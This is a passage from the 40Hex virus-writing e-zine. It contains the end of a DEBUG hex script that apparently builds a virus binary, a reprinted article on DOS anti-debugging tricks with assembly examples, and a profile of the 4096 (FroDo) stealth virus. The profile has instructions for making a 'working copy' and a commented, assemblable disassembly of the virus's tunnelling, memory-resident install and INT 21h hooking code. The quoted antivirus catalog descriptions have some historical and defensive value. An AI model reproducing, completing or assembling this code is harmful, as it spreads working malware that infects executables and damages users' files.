e 0680  24 1F 3C 08 73 0D B4 09 F6 E4 04 C0 8A E0 B0 87 
e 0690  89 45 FE 8B C6 53 B3 15 2C 11 3C 05 72 08 B3 1F 
e 06A0  2C 0A 3C 05 73 02 FE 0F 5B B0 20 C3 00 00 00 84 
e 06B0  80 82 00 00 82 80 2C 80 09 80 00 0E 00 84 84 82 
e 06C0  80 00 83 80 00 0F 00 85 85 83 80 00 00 00 00 04 
e 06D0  00 01 00 01 02 03 06 07 07 04 05 9C FA 50 53 51 
e 06E0  52 56 57 1E 06 FC 0E 07 91 80 FD 3E 74 0F 8B F2 
e 06F0  BF DF 17 B4 60 CD 21 B8 00 3D CD 21 93 BA 00 00 
e 0700  8E DA BF D0 07 BE 4C 00 B8 B3 07 87 04 AB 50 8C 
e 0710  C0 87 44 02 AB 50 B8 38 07 87 44 44 50 8C C0 87 
e 0720  44 46 50 1E 56 A1 6C 04 50 E8 9C FB 0E 1F BE DF 
e 0730  17 8B FE 80 FD 4B 74 0C 54 58 80 FD 3E F9 74 75 
e 0740  3B C4 72 71 AC 3C 5C 75 02 8B FE 84 C0 75 F5 B8 
e 0750  2A 2E 89 05 98 89 45 02 B4 2F CD 21 06 53 BA E1 
e 0760  07 B4 1A CD 21 0E 07 B9 23 00 BA DF 17 B4 4E CD 
e 0770  21 72 30 A0 F7 07 F6 D0 A8 1F 74 21 BE FF 07 57 
e 0780  AC AA 84 C0 75 FA 5F 8B 44 FD 3D 58 45 74 07 3D 
e 0790  4F 4D 75 09 B4 43 B0 2E 3B 44 FB 74 06 B4 4F CD 
e 07A0  21 73 D0 5A 1F B4 1A CD 21 72 0A 0E 1F BA DF 17 
e 07B0  B8 00 3D CD 21 5B 93 E8 0E FB 5E 1F 8F 44 46 8F 
e 07C0  44 44 8F 44 02 8F 04 07 1F 5F 5E 5A 59 5B 58 9D 
e 07D0  EA 00 00 00 00 56 57 55 1E 06 8B EC 80 FC 82 75 
e 07E0  52 8C D8 3B 46 0C 75 4B B8 18 12 CD 2F 8C C8 3B 
e 07F0  44 14 74 3F AD 80 EC 3D 74 1F FE CC 74 19 2D 00 
e 0800  0D 75 30 C4 7C 10 26 81 7D FE CD 21 75 25 40 2E 
e 0810  30 06 B2 07 75 1D F9 B3 30 0E 07 BF D1 06 B8 DB 
e 0820  05 87 44 10 73 02 48 48 AB 8C C8 87 44 12 AB 80 
e 0830  64 14 FE 07 1F 5D 5F 5E B0 03 CF 58 80 EC 02 80 
e 0840  FC 02 73 0C FF 45 01 75 07 B8 01 03 9C FF 5D FA 
e 0850  58 D1 E8 73 53 B4 01 EB 51 1E 57 0E 1F BF DA 07 
e 0860  80 3D 00 74 0D 41 75 09 32 E4 86 25 F9 8B 4D 05 
e 0870  41 49 9C 50 9C FF 5D FA 73 C1 1F 1F EB 2C 88 25 
e 0880  89 4D 05 3A 65 03 75 03 80 F4 01 51 B9 FF FF 9C 
e 0890  FF 5D F6 59 9C 50 32 C0 86 05 A8 02 75 FE 58 9D 
e 08A0  73 08 80 FC 01 F9 75 02 33 C0 5F 1F FB CA 02 00 
e 08B0  98 34 00 1E 57 0E 1F BF DA 07 3A 65 04 74 E9 84 
e 08C0  E4 74 E5 80 FC 01 74 05 80 FC 05 72 B1 5F 1F EA 
rcx
07D0
w
q
-------------------------------------------------------------------------------
                                                                             DA
40Hex Number 9 Volume 2 Issue 5                                       File 004

I picked this up in a collection of clips from the Fidonet 80xxx echo,
figured it might interest someone.
                                        --Hawkmoon

===============================================================================

                            Anti Debugging Tricks
                                     By:
                                  Inbar Raz

                               Release number 2

  Today's anti debugging tricks devide into two categories:

  1. Preventive actions;
  2. Self-modifying code.

  Most debugging tricks, as for today, are used within viruses, in order to
avoid dis-assembly of the virus, as it will be exampled later in this file.
Another big part of anti debugging tricks is found with software protection
programs, what use them in order to make the cracking of the protection
harder.

1. Preventive actions:
----------------------

  Preventive actions are, basically, actions that the program takes in order
to make the user unable to dis-assemble the code or trace it while running.

1.1. Interrupt disable:

       Interrupt disable is probably the most common form of anti-debugging
     trick. It can be done in several ways:

   1.1.1. Hardware masking of interrupt:

            In order to avoid tracing of a code, one usually disables the
          interrupt via the 8259 Interrupt Controller, addressed by read/write
          actions to port 21h. The 8259 Interrupt Controller controls the IRQ
          lines. This means that any IRQ between 0 and 7 may be disabled by
          this action. Bit 0 is IRQ0, bit 1 is IRQ1 etc. Since IRQ1 is the
          keyboard interrupt, you may disable the keyboard without the
          debugger being able to bypass it.

          Example:

          CS:0100 E421           IN     AL,21
          CS:0102 0C02           OR     AL,02
          CS:0104 E621           OUT    21,AL

            Just as a side notice, the keyboard may be also disabled by
          commanding the Programmable Perepheral Interface (PPI), port 61h.

          Example:

          CS:0100 E461           IN     AL,61
          CS:0102 0C80           OR     AL,80
          CS:0104 E661           OUT    61,AL

   1.1.2. Software masking of interrupt:

            This is quite an easy form of anti-debugging trick. All you have
          to do is simply replace the vectors of interrupts debuggers use/any
          other interrupt you will not be using or expecting to happen. Do not
          forget to restore the original vectors when you are finished.
          It is adviseable to use manual change of vector, as shown below,
          rather than to change it using interrupt 21h service 25h, because
          any debugger that has gained control of interrupt 21h may replace
          your vector with the debugger's. The example shows an interception
          of interrupt 03h - the breakpoint interrupt.

          Example:

          CS:0100 EB04           JMP    0106
          CS:0102 0000           ADD    [BX+SI],AL
          CS:0104 0000           ADD    [BX+SI],AL
          CS:0106 31C0           XOR    AX,AX
          CS:0108 8EC0           MOV    ES,AX
          CS:010A 268B1E0C00     MOV    BX,ES:[000C]
          CS:010F 891E0201       MOV    [0102],BX
          CS:0113 268B1E0E00     MOV    BX,ES:[000E]
          CS:0118 891E0401       MOV    [0104],BX
          CS:011C 26C7064C000000 MOV    Word Ptr ES:[000C],0000
          CS:0123 26C7064E000000 MOV    Word Ptr ES:[000E],0000

   1.1.3. Vector manipulation

            This method involves manipulations of the interrupt vectors,
          mainly for proper activation of the algorithm. Such action, as
          exampled, may be used to decrypt a code (see also 2.1), using data
          stored ON the vectors. Ofcourse, during normal operation of the
          program, vectors 01h and 03h are not used, so unless you are trying
          to debug such a program, it works fine.

          Example:

          CS:0100 31C0           XOR    AX,AX
          CS:0102 8ED0           MOV    SS,AX
          CS:0104 BC0600         MOV    SP,0006
          CS:0107 8B0E0211       MOV    CX,[1102]
          CS:010B 50             PUSH   AX
          CS:010C 21C8           AND    AX,CX
          CS:010E 01C5           ADD    BP,AX
          CS:0110 58             POP    AX
          CS:0111 E2F8           LOOP   010B

   1.1.4. Interrupt replacement

            This is a really nasty trick, and it should be used ONLY if you
          are ABSOLUTELY sure that your programs needs no more debugging. What
          it does is simply copy the vectors of some interrupts you will be
          using, say 16h and 21h, onto the vectors of interrupt 01h and 03h,
          that do not occure during normal operation of the program. If the
          user wants to debug the program, he would have to search for every
          occurance of INT 01, and replace it with the appropriate INT
          instruction.

          Example:

          CS:0100 FA             CLI
          CS:0101 31C0           XOR    AX,AX
          CS:0103 8EC0           MOV    ES,AX
          CS:0105 26A18400       MOV    AX,ES:[0084]
          CS:0109 26A30400       MOV    ES:[0004],AX
          CS:010D 26A18600       MOV    AX,ES:[0086]
          CS:0111 26A30600       MOV    ES:[0006],AX
          CS:0115 B44C           MOV    AH,4C
          CS:0117 CD01           INT    01

1.2. Time watch:

       This may be a less common method, but it is usefull against debuggers
     that disable all interrupts except for the time that the program is
     executed, such as Borland's Turbo Debugger. This method simply retains
     the value of the clock counter, updated by interrupt 08h, and waits in an
     infinite loop until the value changes. Another example is when you mask
     the timer interrupt by ORing the value INed from port 21h with 01h and
     then OUTing it back, thus disabling the IRQ0 - Timer interrupt. Note that
     this method is usefull only against RUN actions, not TRACE/PROCEED ones.

     Example:

     CS:0100 2BC0           SUB    AX,AX
     CS:0102 FB             STI
     CS:0103 8ED8           MOV    DS,AX
     CS:0105 8A266C04       MOV    AH,[046C]
     CS:0109 A06C04         MOV    AL,[046C]
     CS:010C 3AC4           CMP    AL,AH
     CS:010E 74F9           JZ     0109

1.3. Fool the debugger:

       This is a very nice technique, that works especially and only on those
     who use Turbo Debugger or its kind. What you do is init a jump to a
     middle of an instruction, whereas the real address actually contains
     another opcode. If you work with a normal step debugger such as Debug or
     SymDeb, it won't work since the debugger jumps to the exact address of
     the jump, and not to the beginning of an instruction at the closest
     address, like Turbo Debugger.

     Example:

     CS:0100 E421           IN     AL,21
     CS:0102 B0FF           MOV    AL,FF
     CS:0104 EB02           JMP    0108
     CS:0106 C606E62100     MOV    Byte Ptr [21E6],00
     CS:010B CD20           INT    20

     Watch this:

     CS:0108 E621           OUT    21,AL

1.4. Cause debugger to stop execution:

       This is a technique that causes a debugger to stop the execution of a
     certain program. What you need to do is to put some INT 3 instructions
     over the code, at random places, and any debugger trying to run will stop
     there. Since this techniqu causes the CPU to stop executing the program,
     and therefore clear the Prefetch Instruction Queue, it is adviseable to
     use this techinque in conjunction with the PIQ trick, 2.2.2. Note that
     the example shows how to use these two tricks together.

     Example:

     CS:0100 B97502         MOV    CX,0275
     CS:0103 BE9001         MOV    SI,0190
     CS:0106 89F7           MOV    DI,SI
     CS:0108 AC             LODSB
     CS:0109 C70610013473   MOV    Word Ptr [0110],7334
     CS:010F CC             INT    3
     CS:0110 2406           AND    AL,06
     CS:0112 AA             STOSB
     CS:0113 C70610012406   MOV    Word Ptr [0110],0624
     CS:0119 E2ED           LOOP   0108

1.5. Halt TD386 V8086 mode:

       This is a nice way to fool Turbo Debugger's V8086 module (TD386). It is
     baed on the fact that TD386 does not use INT 00h to detect division by
     zero (or register overrun after division, which is treated by the
     processor in the same way as in case of division by zero). When TD386
     detects a division fault it aborts, reporting about the faulty
     division. In real mode (even under a regular debugger), a faulty DIV
     instruction will cause INT 00h to be called. Therefore, pointing INT 00h
     to the next instruction, will recover from the faulty DIV.

     Note: It is very important to restore INT 00h's vector. Otherwise, the
     next call to INT 00h will cause the machine to hang.

     Example:

     CS:0100 31C0          XOR     AX,AX
     CS:0102 8ED8          MOV     DS,AX
     CS:0104 C70600001201  MOV     WORD PTR [0000],0112
     CS:010A 8C0E0200      MOV     [0002],CS
     CS:010E B400          MOV     AH,00
     CS:0110 F6F4          DIV     AH
     CS:0112 B8004C        MOV     AX,4C00
     CS:0115 CD21          INT     21

1.6. Halt any V8086 process:

       Another way of messing TD386 is fooling it into an exception.
     Unfortunately, this exception will also be generated under any other
     program, running at V8086 mode. The exception is exception #13, and its
     issued interrupt is INT 0Dh - 13d. The idea is very similar to the
     divide by zero trick: Causing an exception, when the exception interrupt
     points to somewhere in the program's code. It will always work when the
     machine is running in real mode, but never under the V8086 mode.

     Note: It is very important to restore the original interrupt vectors.
     Otherwise, the next exception will hang the machine.

     Example:

     CS:0100 31C0          XOR     AX,AX
     CS:0102 8ED8          MOV     DS,AX
     CS:0104 C70634001301  MOV     WORD PTR [0034],0113
     CS:010A 8C0E3600      MOV     [0036],CS
     CS:010E 833EFFFF00    CMP     WORD PTR [FFFF],+00
     CS:0113 B8004C        MOV     AX,4C00
     CS:0116 CD21          INT     21

2. Self-modifying code:
-----------------------

2.1. Encryptive/decryptive algorithm:

       The first category is simply a code, that has been encrypted, and has
     been added with a decryption routine. The trick here is that when a
     debugger sets up a breakpoint, it simply places the opcode CCh (INT 03h)
     in the desired address, and once that interrupt is executed, the debugger
     regains control of things. If you try to set a breakpoint AFTER the
     decryption algorithm, what is usually needed, you will end up putting an
     opcode CCh in a place where decryption action is taken, therefore losing
     your original CCh in favour of whatever the decryption algorithm makes.
     The following example was extracted from the Haifa virus. If you try to
     set a breakpoint at address CS:0110, you will never reach that address,
     since there is no way to know what will result from the change. Note that
     if you want to make the tracing even harder, you should start the
     decryption of the code from its END, so it takes the whole operation
     until the opcode following the decryption routine is decrypted.

     Example:

     CS:0100 BB7109         MOV    BX,0971
     CS:0103 BE1001         MOV    DI,0110
     CS:0106 91             XCHG   AX,CX
     CS:0107 91             XCHG   AX,CX
     CS:0108 2E803597       XOR    Byte Ptr CS:[DI],97
     CS:010C 47             INC    DI
     CS:010D 4B             DEC    BX
     CS:010E 75F6           JNZ    0106
     CS:0110 07             POP    ES
     CS:0111 07             POP    ES

2.2. Self-modifying code:

   2.2.1. Simple self-modification:

            This method implements the same principle as the encryption
          method: Change the opcode before using it. In the following example,
          we change the insruction following the call, and therefore, if you
          try to trace the entire call ('P'/Debug or F8/Turbo Debugger), you
          will not succeed, since the debugger will put its CCh on offset 104h,
          but when the routine runs, it overwrites location 104h.

          Example:

          CS:0100 E80400         CALL   0107
          CS:0103 CD20           INT    20
          CS:0105 CD21           INT    21
          CS:0107 C7060301B44C   MOV    Word Ptr [0103],4CB4
          CS:010D C3             RET

          Watch this:

          CS:0103 B44C           MOV    AH,4C

   2.2.2. Prefetch Instruction Queue (PIQ) manipulation:

            This method is a bit similar to (1.3), but it fools ANY debugger,
          or any other process that executes one operation at a time. The PIQ
          is an area within the CPU, that pre-fethces, ie. takes in advance,
          instructions from memory, so when they need to be executed, it
          would take less time to get them, since they are already in the CPU.
          The PIQ length ranges from 6 or 4 in old computers, up to as high as
          25 in new ones. What the trick does is change the FOLLOWING opcode
          to something meaningless. If you are debugging, then the change will
          take place BEFORE the instructions is executed or fetched. If you
          run the program NORMALLY, by the time you change the opcode, it will
          have already been fetched.

          Example:

          CS:0100 B97502         MOV    CX,0275
          CS:0103 BE9001         MOV    SI,0190
          CS:0106 89F7           MOV    DI,SI
          CS:0108 AC             LODSB
          CS:0109 C7060F012406   MOV    Word Ptr [010F],0624
          CS:010F 3473           XOR    AL,73
          CS:0111 AA             STOSB
          CS:0112 C7060F012406   MOV    Word Ptr [010F],0624
          CS:0118 E2EE           LOOP   0108

          Watch this:

          CS:010F 2406           AND    AL,06

===============================================================================
40Hex Number 9 Volume 2 Issue 5                                       File 005


Virus Spotlite on: 4096

The 4096, or FroDo, virus was one of the first known stealth viruses.
Presented below are the descriptions found in Patricia Hoffman's VSUM
and in the Computer Virus Catalog.  Of course, the latter description
is far more accurate, albeit shorter.   The virus infects EXE and COM
files but not overlays due to the bizarre method with which it checks
for a valid file extension.  It also cannot handle SYS files.  It has
a boot block in it;  unfortunately, the code which is called to write
the boot block to the disk is damaged and the system crashes when the
virus attempts to access this code.  However, it is worthwhile to rip
out the boot block from the code and write it to a disk;  the display
is pretty neat.

To create a working copy, use debug to create a file with the follow-
ing bytes:

  E9 68 02

and tack on the virus to the end of that file.  Or, do the following:

C:\>DEBUG 4096.COM
-E FD
XXXX:00FD  00.E9   00.68   00.02
-R CX
CX 0FF1
:FF4
-W FD
Writing 0FF4 bytes
-Q

                                        - Dark Angel
 
 
                                     4096                                     
 
 Virus Name:  4096 
 Aliases:     Century Virus, FroDo, IDF Virus, Stealth Virus, 100 Years
              Virus
 V Status:    Common
 Discovery:   January, 1990
 Symptoms:    .COM, .EXE, & overlay file growth; TSR hides growth;
              crosslinks; corruption of data files
 Origin:      Israel
 Eff Length:  4,096 Bytes
 Type Code:   PRsA - Parasitic Resident .COM & .EXE Infector
 Detection Method:  ViruScan, F-Prot, IBM Scan, VirexPC, AVTK, NAV, Novi,
                    Sweep, CPAV, UTScan, Gobbler2, VBuster, AllSafe,
                    ViruSafe
 Removal Instructions: CleanUp, F-Prot, NAV or delete infected files

 General Comments:
       The 4096 virus was first isolated in January, 1990.  This virus is
       considered a stealth virus in that it is almost invisible to the
       system user.

       The 4096 virus infects .COM, .EXE, and Overlay files, adding 4,096
       bytes to their length.  Once the virus is resident in system memory,
       the increase in length will not appear in a directory listing.  Once
       this virus has installed itself into memory, it will infect any
       executable file that is opened, including if it is opened with the
       COPY or XCOPY command.

       This virus is destructive to both data files and executable files,
       as it very slowly cross-links files on the system's disk.  The
       cross-linking occurs so slowly that it appears there is a hardware
       problem, the virus being almost invisible.  The cross-linking of
       files is the result of the virus manipulating the FATs, changing the
       number of available sectors, as well as the user issuing CHKDSK/F
       command which will think that the files have lost sectors or
       cross-linking if the virus is in memory.

       As a side note, if the virus is present in memory and you attempt to
       copy infected files, the new copy of the file will not be infected
       with the virus if the new copy does not have an executable file
       extension.  Thus, one way to disinfect a system is to copy off all
       the infected files to diskettes with a non-executable file extension
       (i.e., don't use .EXE, .COM, .SYS, etc.) while the virus is active in
       memory, then power off the system and reboot from a write-protected,
       uninfected system disk. Once rebooted and the virus is not in
       memory, delete the infected files and copy back the files from the
       diskettes to the original executable file names and extensions.

       The above will disinfect the system, if done correctly, but will
       still leave the problem of cross-linked files which are permanently
       damaged.

       On or after September 22 of any year, the 4096 virus will hang
       infected systems.  This appears to be a "bug" in the virus in that
       it goes into a time consuming loop.

       The 4096 virus also contains a boot-sector within its code; however,
       it is never written out to the disk's boot sector.  Moving this boot
       sector to the boot sector of a diskette and rebooting the system
       will result in the message "FRODO LIVES" being displayed. September
       22 is Bilbo and Frodo Baggin's birthday in the Lord of the Rings
       trilogy.

       An important note on the 4096 virus: this virus will also infect
       some data files.  When this occurs, the data files will appear to be
       fine on infected systems.  However, after the system is later
       disinfected, these files will now be corrupted and unpredictable
       results may occur.

       Known variant(s) of 4096 are:
       4096-B: Similar to the 4096 virus, the main change is that the
               encryption mechanism has been changed in order to avoid
               detection.
       4096-C: Isolated in January, 1991, this variant of 4096 is similar
               to the original virus.  The major difference is that the DOS
               CHKDSK command will not show any cross-linking of files or
               lost clusters.  A symptom of infection by this variant is
               that the disk space available according to a DIR command
               will be more than the disk space available according to the
               DOS CHKDSK program.
       4096-D: Isolated in April, 1992, this variant of 4096 is similar
               to the 4096-C variant in behavior.  The major difference is
               that it has been modified to avoid detection by some anti-
               viral utilities.
               Origin:  Unknown  April, 1992. 

======== Computer Virus Catalog 1.2: "4096" Virus (5-June-1990) ======= 
Entry...............: "4096" virus
Alias(es)...........: "100 years" Virus = IDF Virus = Stealth Virus.
Virus Strain........: ---
Virus detected when.: October 1989.
              where.: Haifa, Israel.
Classification......: Program Virus (extending), RAM-resident.
Length of Virus.....: .COM files: length increased by 4096 bytes.
                      .EXE files: length increased by 4096 bytes.
--------------------- Preconditions -----------------------------------
Operating System(s).: MS-DOS
Version/Release.....: 2.xx upward
Computer model(s)...: IBM-PC, XT, AT and compatibles
--------------------- Attributes --------------------------------------
Easy Identification.: ---
Type of infection...: System: Allocates a memory block at high end of
                              memory. Finds original address (inside 
                              DOS) of Int 21h handler. Finds original
                              address (inside BIOS) of Int 13h handler, 
                              therefore bypasses all active monitors.
                              Inserts a JMP FAR to virus code inside 
                              original DOS handler.
                      .COM files: program length increased by 4096
                      .EXE files: program length increased by 4096
Infection Trigger...: Programs are infected at load time (using the
                      function Load/Execute of MS-DOS), and whenever 
                      a file Access is done to a file with the exten-
                      sion of .COM or .EXE, (Open file AH=3D, 
                      Create file AH=3C, File attrib AH=43, 
                      File time/date AH=57, etc.)
Interrupts hooked...: INT21h, through a JMP FAR to virus code inside 
                              DOS handler;
                      INT01h, during virus installation & execution 
                              of DOS's load/execute function (AH=4B);
                      INT13h, INT24h during infection.
Damage..............: The computer usually hangs up.
Damage Trigger......: A Get Dos Version call when the date is after the 
                      22th of September and before 1/1 of next year.
Particularities.....: Infected files have their year set to (year+100)
                      of the un-infected file.
                      If the system is infected, the virus redirects 
                      all file accesses so that the virus itself can
                      not be read from the file. Also, find first/next 
                      function returns are tampered so that files 
                      with (year>100) are reduced by 4096 bytes in size.
--------------------- Agents ------------------------------------------
Countermeasures.....: Cannot be detected while in memory, so no 
                      monitor/file change detector can help.
Countermeasures successful:
                      1) A Do-it-yourself way: Infect system by running 
                         an infected file, ARC/ZIP/LHARC/ZOO all in-
                         fected .COM and .EXE files, boot from unin-
                         fected floppy, and UNARC/UNZIP/LHARC E etc. 
                         all files. Pay special attention to disin-
                         fection of COMMAND.COM.
                      2) The JIV AntiVirus Package (by the author of 
                         this contribution)
                      3) F. Skulason's F-PROT package.
Standard means......: ---
--------------------- Acknowledgement ---------------------------------
Location............: Weizmann Institute, Israel.
Classification by...: Ori Berger
Documentation by....: Ori Berger
Date................: 26-February-1990
===================== End of "4096" Virus =============================

_4096           segment byte public
                assume  cs:_4096, ds:_4096

; 4096 Virus
; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9
; Assemble with TASM; the resultant file size is 4081 bytes

                org     0
startvirus:
                db      0
                jmp     installvirus
oldheader: ; original 1Ch bytes of the carrier file
                retn
                db      75h,02,44h,15h,46h,20h
                db      'Copyright Bourb%}i, I'
endoldheader:
EXEflag         db       00h
                db      0FEh, 3Ah

int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
                push    bp                      ; set up stack frame
                mov     bp,sp
                push    ax
                cmp     word ptr [bp+4],0C000h  ; in BIOS?
                jnb     foundorigint            ; nope, haven't found it
                mov     ax,cs:DOSsegment        ; in DOS?
                cmp     [bp+4],ax
                jbe     foundorigint
exitint1:
                pop     ax
                pop     bp
                iret
foundorigint:
                cmp     byte ptr cs:tracemode,1
                jz      tracemode1
                mov     ax,[bp+4]               ; save segment of entry point
                mov     word ptr cs:origints+2,ax
                mov     ax,[bp+2]               ; save offset of entry point
                mov     word ptr cs:origints,ax
                jb      finishint1
                pop     ax
                pop     bp
                mov     ss,cs:savess            ; restore the stack to its
                mov     sp,cs:savesp            ; original state
                mov     al,cs:saveIMR           ; Restore IMR
                out     21h,al                  ; (enable interrupts)
                jmp     setvirusints
finishint1:
                and     word ptr [bp+6],0FEFFh  ; turn off trap flag
                mov     al,cs:saveIMR           ; and restore IMR
                out     21h,al
                jmp     short exitint1
tracemode1:
                dec     byte ptr cs:instructionstotrace
                jnz     exitint1
                and     word ptr [bp+6],0FEFFh  ; turn off trap flag
                call    saveregs
                call    swapvirint21            ; restore original int
                lds     dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
                mov     al,1
                call    setvect
                call    restoreregs
                jmp     short finishint1

getint:
                push    ds
                push    si
                xor     si,si                   ; clear si
                mov     ds,si                   ; ds->interrupt table
                xor     ah,ah                   ; cbw would be better!?
                mov     si,ax
                shl     si,1                    ; convert int # to offset in
                shl     si,1                    ; interrupt table (int # x 4)
                mov     bx,[si]                 ; es:bx = interrupt vector
                mov     es,[si+2]               ; get old interrupt vector
                                                ; save 3 bytes if use les bx,[si]
                pop     si
                pop     ds
                retn

installvirus:
                mov     word ptr cs:stackptr,offset topstack
                mov     cs:initialax,ax         ; save initial value for ax
                mov     ah,30h                  ; Get DOS version
                int     21h

                mov     cs:DOSversion,al        ; Save DOS version
                mov     cs:carrierPSP,ds        ; Save PSP segment
                mov     ah,52h                  ; Get list of lists
                int     21h

                mov     ax,es:[bx-2]            ; segment of first MCB
                mov     cs:DOSsegment,ax        ; save it for use in int 1
                mov     es,ax                   ; es = segment first MCB
                mov     ax,es:[1]               ; Get owner of first MCB
                mov     cs:ownerfirstMCB,ax     ; save it
                push    cs
                pop     ds
                mov     al,1                    ; get single step vector
                call    getint
                mov     word ptr ds:oldint1,bx  ; save it for later
                mov     word ptr ds:oldint1+2,es; restoration
                mov     al,21h                  ; get int 21h vector
                call    getint
                mov     word ptr ds:origints,bx
                mov     word ptr ds:origints+2,es
                mov     byte ptr ds:tracemode,0 ; regular trace mode on
                mov     dx,offset int1          ; set new int 1 handler
                mov     al,1
                call    setvect
                pushf
                pop     ax
                or      ax,100h                 ; turn on trap flag
                push    ax
                in      al,21h                  ; Get old IMR
                mov     ds:saveIMR,al
                mov     al,0FFh                 ; disable all interrupts
                out     21h,al
                popf
                mov     ah,52h                  ; Get list of lists
                pushf                           ; (for tracing purposes)
                call    dword ptr ds:origints   ; perform the tunnelling
                pushf
                pop     ax
                and     ax,0FEFFh               ; turn off trap flag
                push    ax
                popf
                mov     al,ds:saveIMR           ; reenable interrupts
                out     21h,al
                push    ds
                lds     dx,dword ptr ds:oldint1
                mov     al,1                    ; restore int 1 to the
                call    setvect                 ; original handler
                pop     ds
                les     di,dword ptr ds:origints; set up int 21h handlers
                mov     word ptr ds:oldint21,di
                mov     word ptr ds:oldint21+2,es
                mov     byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
                mov     word ptr ds:int21store,offset otherint21
                mov     word ptr ds:int21store+2,cs
                call    swapvirint21            ; activate virus in memory
                mov     ax,4B00h
                mov     ds:checkres,ah          ; set resident flag to a
                                                ; dummy value
                mov     dx,offset EXEflag+1     ; save EXE flag
                push    word ptr ds:EXEflag
                int     21h                     ; installation check
                                                ; returns checkres=0 if
                                                ; installed

                pop     word ptr ds:EXEflag     ; restore EXE flag
                add     word ptr es:[di-4],9
                nop                             ; !?
                mov     es,ds:carrierPSP        ; restore ES and DS to their
                mov     ds,ds:carrierPSP        ; original values
                sub     word ptr ds:[2],(topstack/10h)+1
                                                ; alter top of memory in PSP
                mov     bp,ds:[2]               ; get segment
                mov     dx,ds
                sub     bp,dx
                mov     ah,4Ah                  ; Find total available memory
                mov     bx,0FFFFh
                int     21h

                mov     ah,4Ah                  ; Allocate all available memory
                int     21h

                dec     dx                      ; go to MCB of virus memory
                mov     ds,dx
                cmp     byte ptr ds:[0],'Z'     ; is it the last block?
                je      carrierislastMCB
                dec     byte ptr cs:checkres    ; mark need to install virus
carrierislastMCB:
                cmp     byte ptr cs:checkres,0  ; need to install?
                je      playwithMCBs            ; nope, go play with MCBs
                mov     byte ptr ds:[0],'M'     ; mark not end of chain
playwithMCBs:
                mov     ax,ds:[3]               ; get memory size controlled
                mov     bx,ax                   ; by the MCB
                sub     ax,(topstack/10h)+1     ; calculate new size
                add     dx,ax                   ; find high memory segment
                mov     ds:[3],ax               ; put new size in MCB
                inc     dx                      ; one more for the MCB
                mov     es,dx                   ; es->high memory MCB
                mov     byte ptr es:[0],'Z'     ; mark end of chain
                push    word ptr cs:ownerfirstMCB ; get DOS PSP ID
                pop     word ptr es:[1]         ; make it the owner
                mov     word ptr es:[3],160h    ; fill in the size field
                inc     dx
                mov     es,dx                   ; es->high memory area
                push    cs
                pop     ds
                mov     cx,(topstack/2)         ; zopy 0-1600h to high memory
                mov     si,offset topstack-2
                mov     di,si
                std                             ; zopy backwards
                rep     movsw
                cld
                push    es                      ; set up stack for jmp into
                mov     ax,offset highentry     ; virus code in high memory
                push    ax
                mov     es,cs:carrierPSP        ; save current PSP segment
                mov     ah,4Ah                  ; Alter memory allocation
                mov     bx,bp                   ; bx = paragraphs
                int     21h
                retf                            ; jmp to virus code in high
highentry:                                      ; memory
                call    swapvirint21
                mov     word ptr cs:int21store+2,cs
                call    swapvirint21
                push    cs
                pop     ds
                mov     byte ptr ds:handlesleft,14h ; reset free handles count
                push    cs
                pop     es
                mov     di,offset handletable
                mov     cx,14h
                xor     ax,ax                   ; clear handle table
                rep     stosw
                mov     ds:hideclustercountchange,al ; clear the flag
                mov     ax,ds:carrierPSP
                mov     es,ax                   ; es->PSP
                lds     dx,dword ptr es:[0Ah]   ; get terminate vector (why?)
                mov     ds,ax                   ; ds->PSP
                add     ax,10h                  ; adjust for PSP
                add     word ptr cs:oldheader+16h,ax ; adjust jmp location
                cmp     byte ptr cs:EXEflag,0   ; for PSP
                jne     returntoEXE
returntoCOM:
                sti
                mov     ax,word ptr cs:oldheader; restore first 6 bytes of the
                mov     ds:[100h],ax            ; COM file
                mov     ax,word ptr cs:oldheader+2
                mov     ds:[102h],ax
                mov     ax,word ptr cs:oldheader+4
                mov     ds:[104h],ax
                push    word ptr cs:carrierPSP  ; Segment of carrier file's
                mov     ax,100h                 ; PSP
                push    ax
                mov     ax,cs:initialax         ; restore orig. value of ax
                retf                            ; return to original COM file

returntoEXE:
                add     word ptr cs:oldheader+0eh,ax
                mov     ax,cs:initialax         ; Restore ax
                mov     ss,word ptr cs:oldheader+0eh ; Restore stack to
                mov     sp,word ptr cs:oldheader+10h ; original value
                sti
                jmp     dword ptr cs:oldheader+14h ; jmp to original cs:IP
                                                ; entry point
entervirus:
                cmp     sp,100h                 ; COM file?
                ja      dont_resetstack         ; if so, skip this
                xor     sp,sp                   ; new stack
dont_resetstack:
                mov     bp,ax
                call    next                    ; calculate relativeness
next:
                pop     cx
                sub     cx,offset next          ; cx = delta offset
                mov     ax,cs                   ; ax = segment
                mov     bx,10h                  ; convert to offset
                mul     bx
                add     ax,cx
                adc     dx,0
                div     bx                      ; convert to seg:off
                push    ax                      ; set up stack for jmp
                mov     ax,offset installvirus  ; to installvirus
                push    ax
                mov     ax,bp
                retf                            ; go to installvirus

int21commands:
                db      30h     ; get DOS version
                dw      offset getDOSversion
                db      23h     ; FCB get file size
                dw      offset FCBgetfilesize
                db      37h     ; get device info
                dw      offset get_device_info
                db      4Bh     ; execute
                dw      offset execute
                db      3Ch     ; create file w/ handle
                dw      offset createhandle
                db      3Dh     ; open file
                dw      offset openhandle
                db      3Eh     ; close file
                dw      offset handleclosefile
                db      0Fh     ; FCB open file
                dw      offset FCBopenfile
                db      14h     ; sequential FCB read
                dw      offset sequentialFCBread
                db      21h     ; random FCB read
                dw      offset randomFCBread
                db      27h     ; random FCB block read
                dw      offset randomFCBblockread
                db      11h     ; FCB find first
                dw      offset FCBfindfirstnext
                db      12h     ; FCB find next
                dw      offset FCBfindfirstnext
                db      4Eh     ; filename find first
                dw      offset filenamefindfirstnext
                db      4Fh     ; filename find next
                dw      offset filenamefindfirstnext
                db      3Fh     ; read
                dw      offset handleread
                db      40h     ; write
                dw      offset handlewrite
                db      42h     ; move file pointer
                dw      offset handlemovefilepointer
                db      57h     ; get/set file time/date
                dw      offset getsetfiletimedate
                db      48h     ; allocate memory
                dw      offset allocatememory
endcommands:

otherint21:
                cmp     ax,4B00h                ; execute?
                jnz     notexecute
                mov     cs:checkres,al          ; clear the resident flag
notexecute:
                push    bp                      ; set up stack frame
                mov     bp,sp
                push    [bp+6]                  ; push old flags
                pop     cs:int21flags           ; and put in variable
                pop     bp                      ; why?
                push    bp                      ; why?
